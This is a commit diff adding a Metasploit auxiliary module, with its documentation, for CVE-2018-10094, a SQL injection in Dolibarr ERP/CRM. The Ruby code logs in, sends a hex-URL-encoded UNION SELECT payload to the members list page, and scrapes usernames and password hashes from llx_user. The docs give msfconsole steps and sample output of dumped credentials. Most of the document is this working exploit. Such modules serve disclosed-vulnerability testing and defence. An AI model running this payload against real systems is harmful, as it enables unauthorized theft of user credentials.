Land #10565, Add Dolibarr ERP/CRM Auxiliary Module
commit
0dea5fcfd9
|
@ -0,0 +1,49 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module enables an authenticated user to collect usernames and encrypted passwords of other users of the ERP/CRM Dolibarr software via SQL injection.
|
||||||
|
Checks in the Dolibarr software can be bypassed by url-encoding the SQL commands, provided that the commands do not contain quotes.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Dolibarr ERP/CRM Software versions < v7.0.2. Dolibarr v7.0.0 can be found [here](https://www.exploit-db.com/apps/04b0bb4b4864117b5bf47c0fcc737254-dolibarr-7.0.0.tar.gz).
|
||||||
|
By default, user accounts do not have access to view the list of other users of the software. The admin account must first be used to enable the members page, create general users, and give those users permission to access the members page.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: ```use auxiliary/sqli/oracle/dolibarr_list_creds```
|
||||||
|
4. Do: ```set RHOSTS [IP]```
|
||||||
|
5. Do: ```set USERNAME [USER]```
|
||||||
|
6. Do: ```set PASSWORD [PASS]```
|
||||||
|
7. Do: ```set TARGETURI [URI]```
|
||||||
|
8. Do: ```run```
|
||||||
|
9. You should get a list of credentials
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Tested on Dolibarr v7.0.0 running on Ubuntu 18.04
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
msf5 > use auxiliary/sqli/oracle/dolibarr_list_creds
|
||||||
|
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set username test
|
||||||
|
username => test
|
||||||
|
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set password blah
|
||||||
|
password => blah
|
||||||
|
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set targeturi /dolibarr
|
||||||
|
targeturi => /dolibarr
|
||||||
|
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set rhosts 192.168.37.228
|
||||||
|
rhosts => 192.168.37.228
|
||||||
|
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > run
|
||||||
|
|
||||||
|
[*] Logging in...
|
||||||
|
[+] Successfully logged into Dolibarr
|
||||||
|
[+] Accessed credentials
|
||||||
|
[+] user 8456167fd64d3cda366bda95088dda4d7ea94995
|
||||||
|
[+] test 9d49884ec5f2c8431572a73e3285ceed3f0bdc5b
|
||||||
|
[+] blahBlah e345d4aa5a6a63f828870b0d299dd921d119a5c7
|
||||||
|
[+] someUser fe79b08f9f6a1104a141ff65047087a36d926f12
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,115 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Dolibarr List Creds',
|
||||||
|
'Description' => %q{
|
||||||
|
This module enables an authenticated user to collect the usernames and encrypted passwords of other users in the Dolibarr ERP/CRM via SQL injection.
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'Issam Rabhi', # PoC
|
||||||
|
'Kevin Locati', # PoC
|
||||||
|
'Shelby Pace', # Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
[ 'CVE', '2018-10094' ],
|
||||||
|
[ 'EDB', '44805']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => "May 30 2018"
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, 'The base path to Dolibarr', '/' ]),
|
||||||
|
OptString.new('USERNAME', [ true, 'The username for authenticating to Dolibarr', 'admin' ]),
|
||||||
|
OptString.new('PASSWORD', [ true, 'The password for authenticating to Dolibarr', 'admin' ])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_availability
|
||||||
|
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(login_page)
|
||||||
|
)
|
||||||
|
|
||||||
|
return false unless res && res.body.include?('Dolibarr')
|
||||||
|
|
||||||
|
return res
|
||||||
|
end
|
||||||
|
|
||||||
|
def login(response)
|
||||||
|
return false unless response
|
||||||
|
|
||||||
|
login_uri = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
|
||||||
|
cookies = response.get_cookies
|
||||||
|
print_status("Logging in...")
|
||||||
|
|
||||||
|
login_res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => login_uri,
|
||||||
|
'cookie' => cookies,
|
||||||
|
'vars_post' => {
|
||||||
|
'username' => datastore['USERNAME'],
|
||||||
|
'password' => datastore['PASSWORD'],
|
||||||
|
'loginfunction' => 'loginfunction'
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
unless login_res && login_res.body.include?('id="mainmenua_members"')
|
||||||
|
fail_with(Failure::NoAccess, "Couldn't log into Dolibarr")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("Successfully logged into Dolibarr")
|
||||||
|
return cookies
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_info(cookies)
|
||||||
|
inject_uri = target_uri.path.end_with?('index.php') ? target_uri.path.gsub('index.php', '') : target_uri.path
|
||||||
|
inject_uri <<= "/adherents/list.php?leftmenu=members&statut="
|
||||||
|
cmd = "1) union select 0,1,login,pass_crypted,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from llx_user #"
|
||||||
|
cmd = Rex::Text.uri_encode(cmd, 'hex-all')
|
||||||
|
inject_uri <<= cmd
|
||||||
|
|
||||||
|
inject_res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(inject_uri),
|
||||||
|
'cookie' => cookies
|
||||||
|
)
|
||||||
|
|
||||||
|
unless inject_res && inject_res.body.include?('id="searchFormList"')
|
||||||
|
fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("Accessed credentials")
|
||||||
|
format_results(inject_res.body)
|
||||||
|
end
|
||||||
|
|
||||||
|
def format_results(output)
|
||||||
|
credentials = output.scan(/valignmiddle">0<\/div><\/a><\/td>.<td>([a-zA-Z0-9]*)<\/td>.<td>(\S*)<\/td>/m)
|
||||||
|
|
||||||
|
fail_with(Failure::NotFound, "No credentials found") if credentials.empty?
|
||||||
|
|
||||||
|
credentials.each do |i, j|
|
||||||
|
print_good("#{j} #{i}")
|
||||||
|
store_valid_credential(user: j, private: i)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
available_res = check_availability
|
||||||
|
fail_with(Failure::NotFound, "Could not access the Dolibarr webpage") unless available_res
|
||||||
|
|
||||||
|
cookies = login(available_res)
|
||||||
|
fail_with(Failure::NoAccess, "Could not log in. Verify credentials") unless cookies
|
||||||
|
|
||||||
|
get_info(cookies)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue